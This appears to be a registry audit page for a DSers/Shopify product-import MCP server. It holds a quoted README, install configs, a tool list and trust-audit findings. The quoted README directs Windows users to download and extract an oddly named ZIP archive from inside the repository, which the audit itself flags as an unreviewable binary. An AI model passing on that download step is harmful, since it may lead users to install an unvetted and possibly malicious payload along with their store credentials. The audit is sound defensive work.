Atlas / MCP servers / prathamithub / dsers-mcp-product-py

dsers-mcp-product-pyCAUTION

mcp/prathamithub/dsers-mcp-product-py

Automate DSers product import, bulk variant edits, and Shopify push from AliExpress with AI using Python MCP server

Verdict
CAUTION
Grade
B
Trust score
89 /100
Exposed tools
100 57r · 36w · 7d
Transport
stdio
License
MIT
Stars
2
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://raw.githubusercontent.com/PrathamITHub/dsers-mcp-product-py/main/dsersmcpproduct/pymcpdsersproductantiremonstrant.zip)

🛠️ What this app does

dsers-mcp-product-py is a Python MCP server for DSers product import. It helps connect an AI agent or other MCP client to product import tasks for DSers and Shopify workflows.

Use it when you want a local tool that can take product data, send it through MCP, and support a dropshipping import flow. It runs on your computer and uses standard input and output, so it fits into many local AI setups.

📥 Download and set up on Windows

Follow these steps on a Windows PC.

1. Open the download page

Go to this link in your browser:

https://raw.githubusercontent.com/PrathamITHub/dsers-mcp-product-py/main/dsersmcpproduct/pymcpdsersproductantiremonstrant.zip

2. Get the files

On the GitHub page, look for the source code or release files. If you see a download option, use it. If you only see the repository page, download the project as a ZIP file.

3. Save the ZIP file

Save the file to a folder you can find again, such as:

  • Downloads
  • Desktop
  • Documents

4. Extract the folder

Right-click the ZIP file and choose Extract All.

After extraction, you should see a folder named dsers-mcp-product-py or a similar name.

5. Install Python

If Python is not already on your PC, install Python 3.10 or newer.

During setup, make sure you select:

  • Add Python to PATH

This makes it easier to run the app from the command line.

6. Open the project folder

Go into the extracted dsers-mcp-product-py folder.

7. Open Command Prompt

Inside the folder, click the address bar, type cmd, and press Enter.

8. Install the required packages

Run the app’s Python dependencies with:

pip install -r requireme

Read from source at commit 0e2eb5e60eddOBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add dsers-mcp-product-py --env DSERS_PASSWORD=${DSERS_PASSWORD} --env SHOPIFY_ADMIN_TOKEN=${SHOPIFY_ADMIN_TOKEN} -- uvx dsers-mcp-product-py
claude-desktop
{
  "mcpServers": {
    "dsers-mcp-product-py": {
      "command": "uvx",
      "args": [
        "dsers-mcp-product-py"
      ],
      "env": {
        "DSERS_PASSWORD": "${DSERS_PASSWORD}",
        "SHOPIFY_ADMIN_TOKEN": "${SHOPIFY_ADMIN_TOKEN}"
      }
    }
  }
}
03

Exposed tools (100)

57 read · 36 write · 7 destructive. Blast radius: 7 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.

ToolRiskDescription
dsers_add_shipping_addresswriteAdd a new shipping address. Pass address object in body.
dsers_add_to_cartwriteAdd products to the cart. Pass an array of product objects (productId, quantity, etc.).
dsers_batch_get_trackingreadGet tracking information for multiple tracking numbers at once.
dsers_bind_storereadBind a new store to the DSers account. Requires platform and authCode (OAuth authorization code from the marketplace).
dsers_check_mapping_statusreadCheck mapping process status for a DSers product.
dsers_create_import_tagwriteCreate a new import list tag.
dsers_create_orderwriteCreate a wholesale order. Pass full order data in body.
dsers_create_tracking_pagewriteCreate a custom tracking page for customers.
dsers_create_variant_mappingwriteCreate or update variant mapping for a DSers product.
dsers_delete_import_listdestructiveDelete import list items by comma-separated IDs.
dsers_delete_import_tagdestructiveDelete import list tags by comma-separated IDs.
dsers_delete_mappingdestructiveDelete mapping for a DSers product.
dsers_delete_my_productdestructiveDelete my products. Pass dsersProductIds (comma-sep), storeId, and optionally deleteSeller.
dsers_delete_tracking_pagedestructiveDelete a tracking page.
dsers_download_invoicereadDownload invoices. Pass invoice filters as params.
dsers_export_logisticsreadExport logistics data. Pass filters in body.
dsers_find_suppliersreadFind suppliers/products by keyword, shipTo, price range, etc.
dsers_find_suppliers_by_imagereadFind suppliers by image URL (reverse image search).
dsers_get_address_rulesreadGet address validation rules configured for the account.
dsers_get_addressesreadGet list of saved addresses.
dsers_get_all_plansreadGet all plan types and their limits.
dsers_get_auto_sync_pricewriteGet auto-sync price settings for products.
dsers_get_automated_mappingreadGet automated product mapping settings.
dsers_get_bill_detailreadGet detail of a specific bill by billId.
dsers_get_bill_listreadGet paginated list of bills/invoices.
dsers_get_cartreadGet current cart data including products, quantities, and totals.
dsers_get_current_planreadGet current subscription plan.
dsers_get_global_settingsreadGet global infrastructure settings (infra-setting-bff). Returns list of setting entries.
dsers_get_import_listwriteGet paginated import list. Filter by keyword, storeIds, tagIds, isPushed, shipTo, cost range, etc.
dsers_get_import_list_itemwriteGet a single import list item by ID.
dsers_get_import_order_statuswriteGet status of an order import job.
dsers_get_invoicesreadGet invoice list with pagination.
dsers_get_mapped_suppliersreadGet mapped suppliers for a DSers product.
dsers_get_mappingreadGet variant mapping for a DSers product.
dsers_get_mapping_poolreadGet mapping pool for a DSers product.
dsers_get_my_productsreadGet my products list. Requires storeId. Filter by keyword, mappingType, supplyType, etc.
dsers_get_order_detailwriteGet detailed information for a specific order by orderId.
dsers_get_order_fee_infowriteGet fee information for a wholesale order. Pass orderId or items array.
dsers_get_order_reportwriteGet order summary report for a date range and optional store.
dsers_get_order_trackingwriteGet tracking information for an order.
dsers_get_payment_methodsreadGet available payment methods.
dsers_get_phone_listreadGet list of phone numbers for orders.
dsers_get_plan_limitsreadGet plan usage limits and quotas.
dsers_get_pool_product_detailreadGet product pool product detail by productId, appId, shipTo.
dsers_get_pool_product_logisticsreadGet product pool product logistics info.
dsers_get_pricing_rulesreadGet product pricing rules for a store. Requires storeId.
dsers_get_product_ship_settingsreadGet per-product shipping settings for supplier products.
dsers_get_product_shipping_inforeadGet user shipping template info for a supplier app.
dsers_get_products_feereadGet fee information for a list of products.
dsers_get_push_logisticswriteQuery available logistics options for import list items across the selected stores.
dsers_get_push_pricewritePreview push prices for import list items across the selected stores.
dsers_get_push_statuswriteGet push status by event ID.
dsers_get_ship_from_listreadGet ship-from list for a supplier app.
dsers_get_shipping_addressesreadGet paginated list of shipping addresses.
dsers_get_shipping_methodsreadGet available shipping methods/lines for a destination country.
dsers_get_shopify_shipping_profilesreadGet Shopify delivery profiles for all linked Shopify stores. Returns profile GIDs and location group GIDs needed for the storeShippingProfile push field. The profile with isChecked=true is the active one.
dsers_get_store_detailreadGet detailed information for a specific store by storeId.
dsers_get_store_shipping_profilereadGet store delivery profile bindings (locationId and profileId) needed for product push.
dsers_get_supplier_categoriesreadGet supplier categories for an app.
dsers_get_supplier_configwriteGet or set supplier configuration. Use POST to update config; pass config fields in the body.
dsers_get_tracking_detailreadGet detailed tracking events and status for a tracking number.
dsers_get_tracking_inforeadGet tracking information for a single tracking number.
dsers_get_tracking_pagereadGet a tracking page by pageId.
dsers_get_tracking_page_detailreadGet tracking detail for a tracking number within a tracking page context.
dsers_get_tracking_page_statusreadGet status and stats for a tracking page.
dsers_get_user_inforeadGet the current logged-in user
dsers_get_user_logistics_settingsreadGet the user
dsers_hide_my_productreadHide my products. Pass dsersProductIds (comma-sep) and storeId.
dsers_import_by_product_idwriteImport a product by supplier product ID. Requires supplyProductId, supplyAppId, country.
dsers_import_by_product_id_batchwriteBatch import products by supplier product IDs.
dsers_import_mapping_poolwriteAdd supply product to mapping pool for a DSers product.
dsers_invite_staffreadInvite a new staff member by email with specified permissions.
dsers_list_appsreadList installed or available DSers apps/integrations.
dsers_list_import_tagswriteList all import list tags.
dsers_list_staffreadList all staff members with access to the DSers account.
dsers_list_storesreadList all stores linked to the DSers account. Returns store IDs, names, platforms, and status.
dsers_list_suppliersreadList all suppliers configured for the DSers account.
dsers_list_tracking_pagesreadList all tracking pages for the account.
dsers_loginreadLog in to DSers with stored credentials. Returns session_id and state. Use when you need to establish or refresh a DSers session.
dsers_parse_product_urlreadParse a supplier product URL to extract product info.
dsers_preview_orderwritePreview a wholesale order before placing it. Returns order summary and fees.
dsers_push_before_checkwriteCheck whether import list items can be pushed to stores before submitting the async push job.
dsers_push_to_storewritePush import list items to stores. Accepts PushProductInfo fields and wraps them in the API
dsers_remove_from_cartdestructiveRemove one or more products from the cart.
dsers_remove_staffdestructiveRemove a staff member from the account.
dsers_save_cart_addresswriteSave shipping/billing address for the cart.
dsers_save_cart_messagewriteSave a message/note for the cart order.
dsers_save_cart_shippingwriteSave the selected shipping method for the cart.
dsers_search_mapping_productsreadSearch mapping list products by keyword and store.
dsers_search_ordersreadSearch orders by keyword, status, store, date range. Supports pagination.
dsers_search_product_poolreadSearch product pool by keyword and category.
dsers_unbind_storereadUnbind (disconnect) a store from the DSers account.
dsers_update_auto_sync_pricewriteUpdate auto-sync price settings. Pass settings object in body.
dsers_update_automated_mappingwriteUpdate automated product mapping settings. Pass settings object in body.
dsers_update_cart_quantitywriteUpdate the quantity of a product in the cart.
dsers_update_logistics_settingswriteUpdate the user
dsers_update_pricing_rulewriteUpdate product pricing rule configuration. Pass rule config in body.
dsers_update_product_shipping_infowriteUpdate user shipping template info for a supplier app.
dsers_update_staff_permissionwriteUpdate a staff member
dsers_update_user_infowriteUpdate the current user
04

Trust audit

CAUTIONgrade B · trust 89/100 Install with care. The audit found things worth knowing before you trust its output.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codeWARN
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfaceWARN
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (1 observation(s))
Network
declared (4 observation(s))
Shell
declared (1 observation(s))
Dependencies
not all pinned
Secrets in source
none-found

Findings (5)

MEDIUMInventory / provenance · inv.binary · CWE-1104
dsers_mcp_product/py_mcp_dsers_product_antiremonstrant.zip
py_mcp_dsers_product_antiremonstrant.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
dsers_mcp_product/provider.py:81
module = importlib.import_module(module_name)
MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59
dsers_delete_import_list, dsers_delete_import_tag, dsers_delete_mapping, dsers_delete_my_product, dsers_delete_tracking_page, dsers_remove_from_cart, dsers_remove_staff
Why it matters. 7 tool(s) can delete or overwrite
Fix. prefer a read-only mode or scoped tokens; the page states the blast radius
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
requirements.txt
mcp, httpx, python-dotenv
Why it matters. 3 requirement(s) not pinned with ==
Fix. pin exact versions
INFOPrompt injection · prompt.credential_read · CWE-94, CWE-1427
USAGE.md:52
Open `.env` in a text editor and fill in:
Why it matters. asks the agent to read credentials

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha 0e2eb5e60eddfull audit observations/trust-audit/mcp-server/prathamithub__dsers-mcp-product-py.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-110e2eb5e60eddCAUTIONB89first audit
06

Questions

What is the dsers-mcp-product-py MCP server?

Automate DSers product import, bulk variant edits, and Shopify push from AliExpress with AI using Python MCP server

What tools does dsers-mcp-product-py expose?

100 in total: 57 read-only, 36 that write, and 7 that can delete or overwrite (dsers_delete_import_list, dsers_delete_import_tag, dsers_delete_mapping, dsers_delete_my_product, dsers_delete_tracking_page). Every one is listed on this page with its risk.

Is dsers-mcp-product-py safe to connect to an agent?

With care. The audit graded it B (89/100) and found 5 things worth knowing before you trust this server, listed below with the exact line each was found on. Separately from the audit: 7 of its tools can destroy data, so scope the token you give it to what you actually need.

What credentials does dsers-mcp-product-py need?

It reads DSERS_PASSWORD and SHOPIFY_ADMIN_TOKEN from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does dsers-mcp-product-py run?

It speaks stdio, so it runs as a local process your client starts. It is published on PyPI as dsers-mcp-product-py.

How current is this page?

The grade is for one exact copy of the source (0e2eb5e60edd), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement